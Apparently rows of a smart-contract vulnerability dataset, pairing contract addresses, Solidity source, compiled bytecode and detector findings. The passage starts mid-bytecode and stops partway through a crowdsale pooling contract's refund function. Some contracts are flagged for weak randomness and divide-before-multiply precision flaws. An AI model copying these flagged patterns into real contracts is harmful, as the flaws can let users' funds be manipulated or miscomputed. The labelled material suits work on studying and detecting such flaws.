f480426126c990919063ffffffff16565b600e8190555060008090506060600754604051908082528060200260200182016040528015611dd35781602001602082028038833980820191505090505b509050600080905060008090505b600754811015611f8c5760006006600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611e5e5750611f7f565b6000611e6982612d85565b9050611e886009546009600a0a6103e80261289a90919063ffffffff16565b811015611e96575050611f7f565b600d54600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541080611f27575080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b15611f7c5781858581518110611f3957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505083806001019450505b50505b8080600101915050611de1565b50600080905060008090506000611fc4600954611fb6600c54600a5461275190919063ffffffff16565b61289a90919063ffffffff16565b905060008411156123e957600192506000600d54600b5460075401014243406040516020018084815260200183815260200182815260200193505050506040516020818303038152906040528051906020012060001c90506000600a828161202857fe5b0690506000809050600a871061204e576001600a6001848a03038161204957fe5b040195505b6103e886111561207457856064848161206357fe5b048161206b57fe5b0690506103e895505b6060866040519080825280602002602001820160405280156120a55781602001602082028038833980820191505090505b509050600080905060008090505b888110156121715760008b8b600a878501028801816120ce57fe5b06815181106120d957fe5b60200260200101519050808484815181106120f057fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050828060010193505061216161215260095461214484612d85565b61275190919063ffffffff16565b8e6126c990919063ffffffff16565b9c505080806001019150506120b3565b5060008090505b818110156122ca57600083828151811061218e57fe5b6020026020010151905060006121a382612d85565b905060006121f48f6121e66121c36009548661275190919063ffffffff16565b6121d86009548f61275190919063ffffffff16565b61289a90919063ffffffff16565b61275190919063ffffffff16565b9050600061220d6009548361289a90919063ffffffff16565b905061226181600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126c990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122b7818d6126c990919063ffffffff16565b9b50505050508080600101915050612178565b5085871080156122da5750600081115b156123be5760008260018303815181106122f057fe5b60200260200101519050600061230f898961279b90919063ffffffff16565b905061236381600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126c990919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b9818a6126c990919063ffffffff16565b985050505b60008711156123e3576123dc87600b5461279b90919063ffffffff16565b600b819055505b50505050505b6000809050600083111561240f5761240c6009548461275190919063ffffffff16565b90505b600d547f87736af80ce5f7c6273cc88564f5cda0793fe78aa266ae8b7a14e8f3fcbbac3c868684866040518085815260200184815260200183815260200182815260200194505050505060405180910390a26000601e600d548161246f57fe5b0614156124945761248d600c54600c546126c990919063ffffffff16565b600c819055505b6124aa6001600d546126c990919063ffffffff16565b600d8190555050505050505050565b6000600d54905090565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612585576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561260b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612fec6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015612747576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600061279383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612e65565b905092915050565b60006127dd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612f2b565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156128455760019050612895565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1690505b919050565b6000808314156128ad576000905061291a565b60008284029050828482816128be57fe5b0414612915576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806130126021913960400191505060405180910390fd5b809150505b92915050565b600d54600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541015612a4057600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600d54600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550612ad9565b612a9281600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461279b90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b600d54600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541015612bf957600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600d54600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550612bfa565b5b505050565b600060011515600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514158015612caf57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612d7b576001600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508160066000600754815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060076000815480929190600101919050555060019050612d80565b600090505b919050565b6000600d54600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541015612e1a57600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050612e60565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015490505b919050565b60008083118290612f11576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612ed6578082015181840152602081019050612ebb565b50505050905090810190601f168015612f035780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612f1d57fe5b049050809150509392505050565b6000838311158290612fd8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612f9d578082015181840152602081019050612f82565b50505050905090810190601f168015612fca5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77616c736f2073746f70696e666c6174696f6e73206e6565642074696d6520746f2072657374a2646970667358221220b04409d3a6cee9bce44bd1b055d9cd07e2f78d68b59f927ff94ecc204db901a464736f6c63430006000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 9,979 |
0x34f6128924d3a8d364a5cee667b423334a1a2114 | /**
*Submitted for verification at Etherscan.io on 2021-11-10
*/
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library FullMath {
function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) {
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function fullDiv(
uint256 l,
uint256 h,
uint256 d
) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 d
) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
require(h < d, 'FullMath::mulDiv: overflow');
return fullDiv(l, h, d);
}
}
library Babylonian {
function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
library BitMath {
function mostSignificantBit(uint256 x) internal pure returns (uint8 r) {
require(x > 0, 'BitMath::mostSignificantBit: zero');
if (x >= 0x100000000000000000000000000000000) {
x >>= 128;
r += 128;
}
if (x >= 0x10000000000000000) {
x >>= 64;
r += 64;
}
if (x >= 0x100000000) {
x >>= 32;
r += 32;
}
if (x >= 0x10000) {
x >>= 16;
r += 16;
}
if (x >= 0x100) {
x >>= 8;
r += 8;
}
if (x >= 0x10) {
x >>= 4;
r += 4;
}
if (x >= 0x4) {
x >>= 2;
r += 2;
}
if (x >= 0x2) r += 1;
}
}
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = 0x10000000000000000000000000000;
uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000;
uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits)
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a uq112x112 into a uint with 18 decimals of precision
function decode112with18(uq112x112 memory self) internal pure returns (uint) {
return uint(self._x) / 5192296858534827;
}
function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, 'FixedPoint::fraction: division by zero');
if (numerator == 0) return FixedPoint.uq112x112(0);
if (numerator <= uint144(-1)) {
uint256 result = (numerator << RESOLUTION) / denominator;
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
} else {
uint256 result = FullMath.mulDiv(numerator, Q112, denominator);
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
}
}
// square root of a UQ112x112
// lossy between 0/1 and 40 bits
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
if (self._x <= uint144(-1)) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112)));
}
uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x);
safeShiftBits -= safeShiftBits % 2;
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2)));
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
c = 1;
}
}
}
interface IERC20 {
function decimals() external view returns (uint8);
}
interface IUniswapV2ERC20 {
function totalSupply() external view returns (uint);
}
interface IUniswapV2Pair is IUniswapV2ERC20 {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function token0() external view returns ( address );
function token1() external view returns ( address );
}
interface IBondingCalculator {
function valuation( address pair_, uint amount_ ) external view returns ( uint _value );
}
contract ManifestBondingCalculator is IBondingCalculator {
using FixedPoint for *;
using SafeMath for uint;
using SafeMath for uint112;
address public immutable MNFST;
constructor( address _MNFST ) {
require( _MNFST != address(0) );
MNFST = _MNFST;
}
function getKValue( address _pair ) public view returns( uint k_ ) {
uint token0 = IERC20( IUniswapV2Pair( _pair ).token0() ).decimals();
uint token1 = IERC20( IUniswapV2Pair( _pair ).token1() ).decimals();
uint decimals = token0.add( token1 ).sub( IERC20( _pair ).decimals() );
(uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves();
k_ = reserve0.mul(reserve1).div( 10 ** decimals );
}
function getTotalValue( address _pair ) public view returns ( uint _value ) {
_value = getKValue( _pair ).sqrrt().mul(2);
}
function valuation( address _pair, uint amount_ ) external view override returns ( uint _value ) {
uint totalValue = getTotalValue( _pair );
uint totalSupply = IUniswapV2Pair( _pair ).totalSupply();
_value = totalValue.mul( FixedPoint.fraction( amount_, totalSupply ).decode112with18() ).div( 1e18 );
}
function markdown( address _pair ) external view returns ( uint ) {
( uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves();
uint reserve;
if ( IUniswapV2Pair( _pair ).token0() == MNFST ) {
reserve = reserve1;
} else {
reserve = reserve0;
}
return reserve.mul( 2 * ( 10 ** IERC20( MNFST ).decimals() ) ).div( getTotalValue( _pair ) );
}
} | 0x608060405234801561001057600080fd5b50600436106100575760003560e01c806332da80a31461005c5780634249719f14610094578063490084ef146100c057806368637549146100e6578063b5764e471461010c575b600080fd5b6100826004803603602081101561007257600080fd5b50356001600160a01b0316610130565b60408051918252519081900360200190f35b610082600480360360408110156100aa57600080fd5b506001600160a01b038135169060200135610313565b610082600480360360208110156100d657600080fd5b50356001600160a01b03166103bb565b610082600480360360208110156100fc57600080fd5b50356001600160a01b03166106a1565b6101146106c5565b604080516001600160a01b039092168252519081900360200190f35b6000806000836001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561016e57600080fd5b505afa158015610182573d6000803e3d6000fd5b505050506040513d606081101561019857600080fd5b50805160209182015160408051630dfe168160e01b815290516001600160701b0393841696509290911693506000926001600160a01b037f00000000000000000000000021585bbcd5bdc3f5737620cf0db2e51978cf60ac81169390891692630dfe1681926004808301939192829003018186803b15801561021957600080fd5b505afa15801561022d573d6000803e3d6000fd5b505050506040513d602081101561024357600080fd5b50516001600160a01b0316141561025b57508061025e565b50815b61030861026a866106a1565b6103027f00000000000000000000000021585bbcd5bdc3f5737620cf0db2e51978cf60ac6001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156102c657600080fd5b505afa1580156102da573d6000803e3d6000fd5b505050506040513d60208110156102f057600080fd5b5051849060ff16600a0a6002026106e9565b90610749565b93505050505b919050565b60008061031f846106a1565b90506000846001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561035c57600080fd5b505afa158015610370573d6000803e3d6000fd5b505050506040513d602081101561038657600080fd5b505190506103b2670de0b6b3a76400006103026103ab6103a6888661078b565b610902565b85906106e9565b95945050505050565b600080826001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b1580156103f757600080fd5b505afa15801561040b573d6000803e3d6000fd5b505050506040513d602081101561042157600080fd5b50516040805163313ce56760e01b815290516001600160a01b039092169163313ce56791600480820192602092909190829003018186803b15801561046557600080fd5b505afa158015610479573d6000803e3d6000fd5b505050506040513d602081101561048f57600080fd5b50516040805163d21220a760e01b8152905160ff90921692506000916001600160a01b0386169163d21220a7916004808301926020929190829003018186803b1580156104db57600080fd5b505afa1580156104ef573d6000803e3d6000fd5b505050506040513d602081101561050557600080fd5b50516040805163313ce56760e01b815290516001600160a01b039092169163313ce56791600480820192602092909190829003018186803b15801561054957600080fd5b505afa15801561055d573d6000803e3d6000fd5b505050506040513d602081101561057357600080fd5b50516040805163313ce56760e01b8152905160ff9092169250600091610603916001600160a01b0388169163313ce56791600480820192602092909190829003018186803b1580156105c457600080fd5b505afa1580156105d8573d6000803e3d6000fd5b505050506040513d60208110156105ee57600080fd5b505160ff166105fd858561091a565b90610974565b9050600080866001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561064157600080fd5b505afa158015610655573d6000803e3d6000fd5b505050506040513d606081101561066b57600080fd5b5080516020909101516001600160701b039182169350169050610696600a84900a61030284846106e9565b979650505050505050565b60006106bf60026106b96106b4856103bb565b6109b6565b906106e9565b92915050565b7f00000000000000000000000021585bbcd5bdc3f5737620cf0db2e51978cf60ac81565b6000826106f8575060006106bf565b8282028284828161070557fe5b04146107425760405162461bcd60e51b8152600401808060200182810382526021815260200180610c876021913960400191505060405180910390fd5b9392505050565b600061074283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610a20565b610793610c4e565b600082116107d25760405162461bcd60e51b8152600401808060200182810382526026815260200180610c616026913960400191505060405180910390fd5b826107ec57506040805160208101909152600081526106bf565b71ffffffffffffffffffffffffffffffffffff831161089357600082607085901b8161081457fe5b0490506001600160e01b03811115610873576040805162461bcd60e51b815260206004820152601e60248201527f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f770000604482015290519081900360640190fd5b6040518060200160405280826001600160e01b03168152509150506106bf565b60006108a484600160701b85610ac2565b90506001600160e01b03811115610873576040805162461bcd60e51b815260206004820152601e60248201527f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f770000604482015290519081900360640190fd5b516612725dd1d243ab6001600160e01b039091160490565b600082820183811015610742576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061074283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b57565b60006003821115610a1257508060006109da6109d3836002610749565b600161091a565b90505b81811015610a0c57809150610a056109fe6109f88584610749565b8361091a565b6002610749565b90506109dd565b5061030e565b811561030e57506001919050565b60008183610aac5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610a71578181015183820152602001610a59565b50505050905090810190601f168015610a9e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610ab857fe5b0495945050505050565b6000806000610ad18686610bb1565b9150915060008480610adf57fe5b868809905082811115610af3576001820391505b8083039250848210610b4c576040805162461bcd60e51b815260206004820152601a60248201527f46756c6c4d6174683a3a6d756c4469763a206f766572666c6f77000000000000604482015290519081900360640190fd5b610696838387610bde565b60008184841115610ba95760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610a71578181015183820152602001610a59565b505050900390565b6000808060001984860990508385029250828103915082811015610bd6576001820391505b509250929050565b60008181038216808381610bee57fe5b049250808581610bfa57fe5b049450808160000381610c0957fe5b60028581038087028203028087028203028087028203028087028203028087028203028087028203029586029003909402930460010193909302939093010292915050565b6040805160208101909152600081529056fe4669786564506f696e743a3a6672616374696f6e3a206469766973696f6e206279207a65726f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212204f7e0e0abaffc3c5cd34bf5283bdf7a9c0bdd21d6806dc8f31a85d22c4a6096d64736f6c63430007050033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 9,980 |
0x79137ad8bfed047ab7a06e2e946143f2dda9d06d | // Author : shift
pragma solidity ^0.4.18;
//--------- OpenZeppelin's Safe Math
//Source : https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
//-----------------------------------------------------
// ERC20 Interface: https://github.com/ethereum/EIPs/issues/20
contract ERC20 {
function transfer(address _to, uint256 _value) public returns (bool success);
function balanceOf(address _owner) public constant returns (uint256 balance);
}
/*
This contract stores twice every key value in order to be able to redistribute funds
when the bonus tokens are received (which is typically X months after the initial buy).
*/
contract Moongang {
using SafeMath for uint256;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier minAmountReached {
//In reality, the correct amount is the amount + 1%
require(this.balance >= SafeMath.div(SafeMath.mul(min_amount, 100), 99));
_;
}
modifier underMaxAmount {
require(max_amount == 0 || this.balance <= max_amount);
_;
}
//Constants of the contract
uint256 constant FEE = 40; //2.5% fee
//SafeMath.div(20, 3) = 6
uint256 constant FEE_DEV = 6; //15% on the 1% fee
uint256 constant FEE_AUDIT = 12; //7.5% on the 1% fee
address public owner;
address constant public developer = 0xEE06BdDafFA56a303718DE53A5bc347EfbE4C68f;
address constant public auditor = 0x63F7547Ac277ea0B52A0B060Be6af8C5904953aa;
uint256 public individual_cap;
//Variables subject to changes
uint256 public max_amount; //0 means there is no limit
uint256 public min_amount;
//Store the amount of ETH deposited by each account.
mapping (address => uint256) public balances;
mapping (address => uint256) public balances_bonus;
// Track whether the contract has bought the tokens yet.
bool public bought_tokens;
// Record ETH value of tokens currently held by contract.
uint256 public contract_eth_value;
uint256 public contract_eth_value_bonus;
//Set by the owner in order to allow the withdrawal of bonus tokens.
bool public bonus_received;
//The address of the contact.
address public sale;
//Token address
ERC20 public token;
//Records the fees that have to be sent
uint256 fees;
//Set by the owner. Allows people to refund totally or partially.
bool public allow_refunds;
//The reduction of the allocation in % | example : 40 -> 40% reduction
uint256 public percent_reduction;
bool public owner_supplied_eth;
bool public allow_contributions;
//Internal functions
function Moongang(uint256 max, uint256 min, uint256 cap) {
/*
Constructor
*/
owner = msg.sender;
max_amount = SafeMath.div(SafeMath.mul(max, 100), 99);
min_amount = min;
individual_cap = cap;
allow_contributions = true;
}
//Functions for the owner
// Buy the tokens. Sends ETH to the presale wallet and records the ETH amount held in the contract.
function buy_the_tokens() onlyOwner minAmountReached underMaxAmount {
//Avoids burning the funds
require(!bought_tokens && sale != 0x0);
//Record that the contract has bought the tokens.
bought_tokens = true;
//Sends the fee before so the contract_eth_value contains the correct balance
uint256 dev_fee = SafeMath.div(fees, FEE_DEV);
uint256 audit_fee = SafeMath.div(fees, FEE_AUDIT);
owner.transfer(SafeMath.sub(SafeMath.sub(fees, dev_fee), audit_fee));
developer.transfer(dev_fee);
auditor.transfer(audit_fee);
//Record the amount of ETH sent as the contract's current value.
contract_eth_value = this.balance;
contract_eth_value_bonus = this.balance;
// Transfer all the funds to the crowdsale address.
sale.transfer(contract_eth_value);
}
function force_refund(address _to_refund) onlyOwner {
require(!bought_tokens);
uint256 eth_to_withdraw = SafeMath.div(SafeMath.mul(balances[_to_refund], 100), 99);
balances[_to_refund] = 0;
balances_bonus[_to_refund] = 0;
fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE));
_to_refund.transfer(eth_to_withdraw);
}
function force_partial_refund(address _to_refund) onlyOwner {
require(bought_tokens && percent_reduction > 0);
//Amount to refund is the amount minus the X% of the reduction
//amount_to_refund = balance*X
uint256 amount = SafeMath.div(SafeMath.mul(balances[_to_refund], percent_reduction), 100);
balances[_to_refund] = SafeMath.sub(balances[_to_refund], amount);
balances_bonus[_to_refund] = balances[_to_refund];
if (owner_supplied_eth) {
//dev fees aren't refunded, only owner fees
uint256 fee = amount.div(FEE).mul(percent_reduction).div(100);
amount = amount.add(fee);
}
_to_refund.transfer(amount);
}
function set_sale_address(address _sale) onlyOwner {
//Avoid mistake of putting 0x0 and can't change twice the sale address
require(_sale != 0x0);
sale = _sale;
}
function set_token_address(address _token) onlyOwner {
require(_token != 0x0);
token = ERC20(_token);
}
function set_bonus_received(bool _boolean) onlyOwner {
bonus_received = _boolean;
}
function set_allow_refunds(bool _boolean) onlyOwner {
/*
In case, for some reasons, the project refunds the money
*/
allow_refunds = _boolean;
}
function set_allow_contributions(bool _boolean) onlyOwner {
allow_contributions = _boolean;
}
function set_percent_reduction(uint256 _reduction) onlyOwner payable {
require(bought_tokens && _reduction <= 100);
percent_reduction = _reduction;
if (msg.value > 0) {
owner_supplied_eth = true;
}
//we substract by contract_eth_value*_reduction basically
contract_eth_value = contract_eth_value.sub((contract_eth_value.mul(_reduction)).div(100));
contract_eth_value_bonus = contract_eth_value;
}
function change_individual_cap(uint256 _cap) onlyOwner {
individual_cap = _cap;
}
function change_owner(address new_owner) onlyOwner {
require(new_owner != 0x0);
owner = new_owner;
}
function change_max_amount(uint256 _amount) onlyOwner {
//ATTENTION! The new amount should be in wei
//Use https://etherconverter.online/
max_amount = SafeMath.div(SafeMath.mul(_amount, 100), 99);
}
function change_min_amount(uint256 _amount) onlyOwner {
//ATTENTION! The new amount should be in wei
//Use https://etherconverter.online/
min_amount = _amount;
}
//Public functions
// Allows any user to withdraw his tokens.
function withdraw() {
// Disallow withdraw if tokens haven't been bought yet.
require(bought_tokens);
uint256 contract_token_balance = token.balanceOf(address(this));
// Disallow token withdrawals if there are no tokens to withdraw.
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = SafeMath.div(SafeMath.mul(balances[msg.sender], contract_token_balance), contract_eth_value);
// Update the value of tokens currently held by the contract.
contract_eth_value = SafeMath.sub(contract_eth_value, balances[msg.sender]);
// Update the user's balance prior to sending to prevent recursive call.
balances[msg.sender] = 0;
// Send the funds. Throws on failure to prevent loss of funds.
require(token.transfer(msg.sender, tokens_to_withdraw));
}
function withdraw_bonus() {
/*
Special function to withdraw the bonus tokens after the 6 months lockup.
bonus_received has to be set to true.
*/
require(bought_tokens && bonus_received);
uint256 contract_token_balance = token.balanceOf(address(this));
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = SafeMath.div(SafeMath.mul(balances_bonus[msg.sender], contract_token_balance), contract_eth_value_bonus);
contract_eth_value_bonus = SafeMath.sub(contract_eth_value_bonus, balances_bonus[msg.sender]);
balances_bonus[msg.sender] = 0;
require(token.transfer(msg.sender, tokens_to_withdraw));
}
// Allows any user to get his eth refunded before the purchase is made.
function refund() {
require(!bought_tokens && allow_refunds && percent_reduction == 0);
//balance of contributor = contribution * 0.99
//so contribution = balance/0.99
uint256 eth_to_withdraw = SafeMath.div(SafeMath.mul(balances[msg.sender], 100), 99);
// Update the user's balance prior to sending ETH to prevent recursive call.
balances[msg.sender] = 0;
//Updates the balances_bonus too
balances_bonus[msg.sender] = 0;
//Updates the fees variable by substracting the refunded fee
fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE));
// Return the user's funds. Throws on failure to prevent loss of funds.
msg.sender.transfer(eth_to_withdraw);
}
//Allows any user to get a part of his ETH refunded, in proportion
//to the % reduced of the allocation
function partial_refund() {
require(bought_tokens && percent_reduction > 0);
//Amount to refund is the amount minus the X% of the reduction
//amount_to_refund = balance*X
uint256 amount = SafeMath.div(SafeMath.mul(balances[msg.sender], percent_reduction), 100);
